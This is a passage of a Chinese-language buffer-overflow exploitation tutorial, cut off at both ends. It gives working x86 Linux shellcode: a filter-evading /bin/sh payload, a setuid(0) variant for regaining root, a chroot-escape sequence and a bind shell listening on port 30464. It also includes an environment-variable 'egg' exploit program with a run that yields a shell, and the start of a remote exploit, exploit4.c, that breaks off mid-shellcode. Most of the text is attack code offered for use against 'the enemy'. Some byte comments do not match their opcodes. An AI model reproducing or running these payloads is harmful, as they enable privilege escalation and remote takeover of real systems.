"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
好，一个新的shellcode，绕过了预处理器的检查。我们可以用这种方法解决那些
不允许有某些字符集合的预处理检查。比如不允许!@#$%^&*的，等等。
2:对付seteuid（getuid()）
有的程序在开始的时候seteuid（getuid()），然后在需要的时候才进行
setuid(0)。这样就可以在发生堆栈溢出的时候由于euid！＝0而使我们只能得到普
通shell。
当你搞定了一个setuid位的程序，却发现只得到了普通用户shell的时候，就很可
能是这种情况。
但是，如果我们在自己的shellcode里面加上setuid(0)，就一样可以得到
rootshell。
我们写一个带有setuid的程序，用gcc -static 编译，使用gdb来试验：
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
我们可以用b/bx指令得到：setuid(0)的汇编代码：
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
把这段代码加到标准shellcode中jmp的前面就可以了。
（注意，最好不要加到jmp的后面，因为还要重新计算偏移，而且如果期间有堆栈
操作，
就把string的返回地址冲掉了）
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
3:敌人把root的根目录给改掉了
有的程序chroot了（比如/home/ftp），我们B.O之后只能在指定的目录里面打转。
结果我们的/bin/sh变成了/home/ftp/bin/sh，当然不会存在。execve执行sh必然
失败。
我们可以进行如下操作：以找回root的根目录\。
mkdir("sh");
chroot("sh");
chroot("../../../../../../../");
它们的汇编代码为：
mkdir("sh",0755); code
------------------------------------------------------------------------
----
/* mkdir first argument is %ebx and second argument is */
/* %ecx. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
/* %esi has to reference "/bin/sh" before using this */
/* instruction. This instruction load address of "sh" */
/* and store at %ebx */
"\xfe\xc5" /* incb %ch */
/* %cx = 0000 0001 0000 0000 */
"\xb0\x3d" /* movb $0xed,%cl */
/* %cx = 0000 0001 1110 1101 */
/* %cx = 000 111 101 101 */
/* %cx = 0 7 5 5 */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("sh"); code
------------------------------------------------------------------------
----
/* chroot first argument is ebx */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
chroot("../../../../../../../../../../../../../../../../"); code
------------------------------------------------------------------------
----
char code[]=
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
/* disguised "../" character string */
"\xf7\xdb" /* negl %ebx */
/* %ebx = $0x002f2e2e */
/* intel x86 is little endian. */
/* %ebx = "../" */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
/* prepare for looping 16 times. */
"\x56" /* pushl %esi */
/* backup current %esi. %esi has the pointer of */
/* "/bin/sh". */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl $0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
/* make "../../../../ . . . " character string at */
/* 0x10(%esi) by looping. */
"\x5e" /* popl %esi */
/* restore %esi. */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
/* %ebx has the address of "../../../../ . . . ". */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
我们把这些代码加进去：
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
"\xeb\x4f" /* jmp 0x4f */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xc9" /* xorl %ecx,%ecx */
"\x5e" /* popl %esi */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\xb0\x27" /* movb $0x27,%al */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xfe\xc5" /* incb %ch */
"\xb1\xed" /* movb $0xed,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */
"\xb0\x3d" /* movb $0x3d,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */
"\xf7\xdb" /* negl %ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x10" /* movb $0x10,%cl */
"\x56" /* pushl %esi */
"\x01\xce" /* addl %ecx,%esi */
"\x89\x1e" /* movl %ebx,(%esi) */
"\x83\xc6\x03" /* addl %0x3,%esi */
"\xe0\xf9" /* loopne -0x7 */
"\x5e" /* popl %esi */
"\xb0\x3d" /* movb $0x3d,%al */
"\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xac\xff\xff\xff" /* call -0x54 */
"/bin/sh"; /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----
4：敌人的buffer数组开的太小
如果敌人的strcpy(buffer,ourstring)中的buffer离堆栈顶过于接近，比如，只有
12个
字节的偏移，我们的shellcode有几十个字节，如果buffer开的太小，是无法容纳
下
shellcode的，结果会导致如下情况：
内存底部 内存顶部
buffer EBP ret
<------ [SSS...S][S ][S ]S..SAAAAAAAAAAA
^&buffer
堆栈顶部 堆栈底部
看到了吗？由于buffer太小，离栈顶又太近，相对于这个短小的空间，我们的
shellcode
太长了，以至于覆盖了ret，而我们猜测的返回地址（A）被迫写到了更远的地方。
这样，
函数执行完，返回的时候，取出的是shellcode的某一个片断作为返回地址，跑到
月球上
了。。。
为了解决这个问题，我们引入了环境变量。为了避免溢出字符串的长度大于
buffer长度
的情况，我们把溢出串放在一个环境变量里面，把他的地址放在另一个环境变量里
面。
这两个变量分别为：
$RET = AAAAAAAAAAAAAAAAAAAAA
$EGG = NNNNNNNNNNNSSSSSSSSSS
把变量RET的内容作为参数传给被测试的程序。
这里有必要解释一下linux系统中的环境变量。每一个程序在开始运行的时候，父
shell
的环境变量都会在堆栈中。因此，当目标程序在一个以EGG为环境变量的shell中运
行时
，他的堆栈里面就自动继承了我们的EGG变量的内容。见下图所示：
堆栈顶 堆
栈底
<参数指针>NULL<环境变量指针>NULL<参数个数><参数><环境变量>
这样，当我们用猜测的地址（A）构成的RET变量传给敌人的strcpy函数时，他的堆
栈就
会被A充满。如果我们的EGG很大，那么里面的NOP就越多，自然命中的概率就越大
。
overflow.c
------------------------------------------------------------------------
------
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
//现在，egg里面内容为：NNNNNNNNNNNNNNNNNNSSS
//buff里面的内容为AAAAAAAAAAAAAAAAAAA，
//我们猜测的egg环境变量的开始地址。
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
//使用 putenv 来设置EGG,RET这两个环境变量。
system("/bin/bash");
//这个bash继承了两个环境变量。
}
------------------------------------------------------------------------
------
好了，来试一试：
------------------------------------------------------------------------
------
[nkl10]$ ./overflow 768
Using address: 0xbffffdb0
[nkl10]$ ./overflow $RET
$
远程堆栈溢出
我们用堆栈溢出攻击守护进程daemon时，原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串，里面包含了shellcode。希望敌人在复制
（或者
别的串处理操作）这个串的时候发生堆栈溢出，从而执行我们的shellcode。
普通的shellcode将启动一个子进程执行sh，自己退出。对于我们这些远程的攻击
者来说
，由于我们不在本地，这个sh我们并没有得到。
因此，对于远程使用者，我们传过去的shellcode就必须负担起打开一个socket，
然后
listen我们的连接，给我们一个远程shell的责任。
如何开一个远程shell呢？我们先申请一个socketfd，使用30464（随便，多少都行
）作为
这个socket连接的端口，bind他，然后在这个端口上等待连接listen。当有连接进
来后，
开一个子shell，把连接的clientfd作为子shell的stdin,stdout,stderr。这样，
我们
远程的使用者就有了一个远程shell（跟telnet一样啦）。
下面就是这个算法的C实现：
opensocket.c
------------------------------------------------------------------------
----
1#include
2#include
3#include
4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;
7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函数创建了一个子进程，对于父进程fork()的返回值是子进程的
pid，
对于子进程，fork()的返回值是0.本程序中，父进程执行了一个fork就退出了，子
进程
作为socket通信的执行者继续下面的操作。
10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc，然后
调用
bind()绑定30464端口，接下来开始监听listen().程序挂起在accept等待客户连接
。
当有客户连接时，程序被唤醒，进行accept，然后把自己的标准输入，标准输出，
标准错误输出重定向到客户的文件描述符上，开一个子sh，这样，子shell继承了
这个进程的文件描述符，对于客户来说，就是得到了一个远程shell。
看懂了吗？嗯，对，这是一个比较简单的socket程序，很好理解的。好，我们使用
gdb来反编译上面的程序:
[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble fork
Dump of assembler code for function fork:
0x804ca90 : movl $0x2,%eax
0x804ca95 : int $0x80
0x804ca97 : cmpl $0xfffff001,%eax
0x804ca9c : jae 0x804cdc0 <__syscall_error>
0x804caa2 : ret
0x804caa3 : nop
0x804caa4 : nop
0x804caa5 : nop
0x804caa6 : nop
0x804caa7 : nop
0x804caa8 : nop
0x804caa9 : nop
0x804caaa : nop
0x804caab : nop
0x804caac : nop
0x804caad : nop
0x804caae : nop
0x804caaf : nop
End of assembler dump.
(gdb) disassemble socket
Dump of assembler code for function socket:
0x804cda0 : movl %ebx,%edx
0x804cda2 : movl $0x66,%eax
0x804cda7 : movl $0x1,%ebx
0x804cdac : leal 0x4(%esp,1),%ecx
0x804cdb0 : int $0x80
0x804cdb2 : movl %edx,%ebx
0x804cdb4 : cmpl $0xffffff83,%eax
0x804cdb7 : jae 0x804cdc0 <__syscall_error>
0x804cdbd : ret
0x804cdbe : nop
0x804cdbf : nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 : movl %ebx,%edx
0x804cd62 : movl $0x66,%eax
0x804cd67 : movl $0x2,%ebx
0x804cd6c : leal 0x4(%esp,1),%ecx
0x804cd70 : int $0x80
0x804cd72 : movl %edx,%ebx
0x804cd74 : cmpl $0xffffff83,%eax
0x804cd77 : jae 0x804cdc0 <__syscall_error>
0x804cd7d : ret
0x804cd7e : nop
0x804cd7f : nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 : movl %ebx,%edx
0x804cd82 : movl $0x66,%eax
0x804cd87 : movl $0x4,%ebx
0x804cd8c : leal 0x4(%esp,1),%ecx
0x804cd90 : int $0x80
0x804cd92 : movl %edx,%ebx
0x804cd94 : cmpl $0xffffff83,%eax
0x804cd97 : jae 0x804cdc0 <__syscall_error>
0x804cd9d : ret
0x804cd9e : nop
0x804cd9f : nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 : movl %ebx,%edx
0x804cbe2 : movl 0x8(%esp,1),%ecx
0x804cbe6 : movl 0x4(%esp,1),%ebx
0x804cbea : movl $0x3f,%eax
0x804cbef : int $0x80
0x804cbf1 : movl %edx,%ebx
0x804cbf3 : cmpl $0xfffff001,%eax
0x804cbf8 : jae 0x804cdc0 <__syscall_error>
0x804cbfe : ret
0x804cbff : nop
End of assembler dump.
现在可以写上面c代码的汇编语句了。
fork()的汇编代码
------------------------------------------------------------------------
----
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
socket(2,1,6)的汇编代码
注：AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66号系统调用，1号子调用。 */
/* 他使用一段内存块来传递参数2,1,6。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
/* 第一个参数 */
/* %esi 指向一段未使用的内存空间 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数 */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码
------------------------------------------------------------------------
----
/* bind使用66号系统调用，2号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET（2） */
/* 2 放在 0xc(%esi). */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
/* 端口号(0x7700=30464)放在 0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数 . */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
listen(soc,1)的汇编代码
------------------------------------------------------------------------
----
/* listen使用66号系统调用，4号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\x06" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
accept(soc,0,0)的汇编代码
------------------------------------------------------------------------
----
/* accept使用66号系统调用，5号子调用。 */
/* 他使用一段内存块来传递参数。 */
/* %ecx 里面为这个内存块的地址指针. */
char code[]=
"\x89\xf1" /* movl %esi,%ecx */
"\x89\xf1" /* movl %eax,(%esi) */
/* %eax 的内容为刚才socket调用的返回值， */
/* 就是soc文件描述符，作为第一个参数 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx， 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值， */
/* 客户的文件描述符cli . */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80"; /* int $0x80 */
------------------------------------------------------------------------
----
现在该把这些所有的细节都串起来，形成一个新的shell的时候了。
new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 "\x31\xc0" /* xorl %eax,%eax */
02 "\xb0\x02" /* movb $0x2,%al */
04 "\xcd\x80" /* int $0x80 */
06 "\x85\xc0" /* testl %eax,%eax */
08 "\x75\x43" /* jne 0x43 */
/* 执行fork()，当fork()!=0 的时候，表明是父进程，要终止 */
/* 因此，跳到0x43＋a=0x4d，再跳到后面，执行 exit(0) */
0a "\xeb\x43" /* jmp 0x43 */
/* 当fork()==0 的时候，表明是子进程 */
/* 因此，跳到0x43+0c=0x4f,再跳到后面，执行 call -0xa5 */
0c "\x5e" /* popl %esi */
0d "\x31\xc0" /* xorl %eax,%eax */
0f "\x31\xdb" /* xorl %ebx,%ebx */
11 "\x89\xf1" /* movl %esi,%ecx */
13 "\xb0\x02" /* movb $0x2,%al */
15 "\x89\x06" /* movl %eax,(%esi) */
17 "\xb0\x01" /* movb $0x1,%al */
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
1c "\xb0\x06" /* movb $0x6,%al */
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
21 "\xb0\x66" /* movb $0x66,%al */
23 "\xb3\x01" /* movb $0x1,%bl */
25 "\xcd\x80" /* int $0x80 */
/* 执行socket()，eax里面为返回值soc文件描述符 */
27 "\x89\x06" /* movl %eax,(%esi) */
29 "\xb0\x02" /* movb $0x2,%al */
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
2f "\xb0\x77" /* movb $0x77,%al */
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
3b "\x31\xc0" /* xorl %eax,%eax */
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
40 "\xb0\x10" /* movb $0x10,%al */
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
45 "\xb0\x66" /* movb $0x66,%al */
47 "\xb3\x02" /* movb $0x2,%bl */
49 "\xcd\x80" /* int $0x80 */
/* 执行bind() */
4b "\xeb\x04" /* jmp 0x4 */
/* 越过下面的两个跳转 */
4d "\xeb\x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */
4f "\xeb\x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */
51 "\xb0\x01" /* movb $0x1,%al */
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
56 "\xb0\x66" /* movb $0x66,%al */
58 "\xb3\x04" /* movb $0x4,%bl */
5a "\xcd\x80" /* int $0x80 */
/* 执行listen() */
5c "\x31\xc0" /* xorl %eax,%eax */
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
64 "\xb0\x66" /* movb $0x66,%al */
66 "\xb3\x05" /* movb $0x5,%bl */
68 "\xcd\x80" /* int $0x80 */
/* 执行accept()，eax里面为返回值cli文件描述符 */
6a "\x88\xc3" /* movb %al,%bl */
6c "\xb0\x3f" /* movb $0x3f,%al */
6e "\x31\xc9" /* xorl %ecx,%ecx */
70 "\xcd\x80" /* int $0x80 */
72 "\xb0\x3f" /* movb $0x3f,%al */
74 "\xb1\x01" /* movb $0x1,%cl */
76 "\xcd\x80" /* int $0x80 */
78 "\xb0\x3f" /* movb $0x3f,%al */
7a "\xb1\x02" /* movb $0x2,%cl */
7c "\xcd\x80" /* int $0x80 */
/* 执行三个dup2() */
7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "\x89\x06" /* movl %eax,(%esi) */
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
8d "\x31\xc0" /* xorl %eax,%eax */
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
98 "\xb0\x0b" /* movb $0xb,%al */
9a "\x89\xf3" /* movl %esi,%ebx */
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
a2 "\xcd\x80" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */
a4 "\x31\xc0" /* xorl %eax,%eax */
a6 "\xb0\x01" /* movb $0x1,%al */
a8 "\x31\xdb" /* xorl %ebx,%ebx */
aa "\xcd\x80" /* int $0x80 */
/* 执行exit() */
ac "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
/* 执行0x0c处的指令 */
b1
------------------------------------------------------------------------
----
好，长长的shell终于写完了，下面就是攻击程序了。
exploit4.c
------------------------------------------------------------------------
----
#include
#include
#include
#include
#include
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
